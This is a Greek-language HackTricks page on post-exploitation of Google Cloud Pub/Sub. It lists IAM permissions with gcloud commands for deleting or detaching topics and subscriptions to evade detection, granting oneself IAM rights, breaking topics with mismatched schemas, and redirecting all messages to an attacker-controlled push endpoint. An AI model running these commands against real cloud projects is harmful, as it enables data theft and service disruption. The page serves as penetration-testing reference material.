Skip to content

Latest commit

 

History

History
152 lines (117 loc) · 9.18 KB

gcp-pub-sub-post-exploitation.md

File metadata and controls

152 lines (117 loc) · 9.18 KB

GCP - Μετά Εκμετάλλευση Pub/Sub

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!

Άλλοι τρόποι υποστήριξης των HackTricks:

Pub/Sub

Για περισσότερες πληροφορίες σχετικά με το Pub/Sub ελέγξτε την ακόλουθη σελίδα:

{% content-ref url="../gcp-services/gcp-pub-sub.md" %} gcp-pub-sub.md {% endcontent-ref %}

pubsub.topics.publish

Δημοσίευση ενός μηνύματος σε ένα θέμα, χρήσιμο για αποστολή απροσδόκητων δεδομένων και ενεργοποίηση μη αναμενόμενων λειτουργιών ή εκμετάλλευση ευπαθειών:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Χρήσιμο για να αποτρέψετε μια συνδρομή από το να λαμβάνει μηνύματα, ίσως για να αποφύγετε την ανίχνευση.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Χρήσιμο για να αποτρέψετε μια συνδρομή από το να λαμβάνει μηνύματα, ίσως για να αποφύγετε την ανίχνευση.
Είναι δυνατόν να διαγράψετε ένα θέμα ακόμη και με συνδρομές που είναι συνδεδεμένες σε αυτό.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Χρησιμοποιήστε αυτήν την άδεια για να ενημερώσετε κάποια ρύθμιση του θέματος για να το διαταράξετε, όπως --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Δώστε στον εαυτό σας άδεια να εκτελέσετε οποιαδήποτε από τις προηγούμενες επιθέσεις.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Λάβετε όλα τα μηνύματα σε έναν διακομιστή web:

{% code overflow="wrap" %}

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

{% endcode %}

Δημιουργήστε ένα συνδρομή και χρησιμοποιήστε το για ανάκτηση μηνυμάτων:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Διαγραφή ενός συνδρομητή μπορεί να είναι χρήσιμο για να διαταράξετε ένα σύστημα επεξεργασίας καταγραφών ή κάτι παρόμοιο:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Χρησιμοποιήστε αυτήν την άδεια για να ενημερώσετε κάποια ρύθμιση έτσι ώστε τα μηνύματα να αποθηκεύονται σε ένα μέρος στο οποίο μπορείτε να έχετε πρόσβαση (URL, πίνακας Big Query, Bucket) ή απλά για να το διαταράξετε.

{% code overflow="wrap" %}

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

{% endcode %}

pubsub.subscriptions.setIamPolicy

Δώστε στον εαυτό σας τις άδειες που χρειάζονται για να εκτελέσετε οποιαδήποτε από τις προηγούμενα σχολιασμένες επιθέσεις.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Επιτεθείτε σε ένα σχήμα σε ένα θέμα έτσι ώστε τα μηνύματα να μην το πληρούν και συνεπώς το θέμα να διαταράσσεται.
Αν δεν υπάρχουν κάποια σχήματα, ενδέχεται να χρειαστεί να δημιουργήσετε ένα.

{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

{% endcode %}

# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Αυτό μπορεί να μοιάζει με τη διαγραφή ενός σχήματος ώστε να μπορείτε να στείλετε μηνύματα που δεν συμμορφώνονται με το σχήμα. Ωστόσο, καθώς το σχήμα θα διαγραφεί, κανένα μήνυμα δεν θα εισέλθει πραγματικά στο θέμα. Έτσι αυτό είναι ΑΝΕΠΙΤΥΧΕΣ:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Δώστε στον εαυτό σας τα δικαιώματα που χρειάζονται για να εκτελέσετε οποιαδήποτε από τις προηγούμενα σχολιασμένες επιθέσεις.

pubsub.snapshots.create, pubsub.snapshots.seek

Αυτό θα δημιουργήσει ένα στιγμιότυπο όλων των μη επιβεβαιωμένων μηνυμάτων και θα τα επαναφέρει στη συνδρομή. Δεν είναι πολύ χρήσιμο για έναν εισβολέα, αλλά εδώ είναι:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Μάθετε AWS χάκινγκ από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks: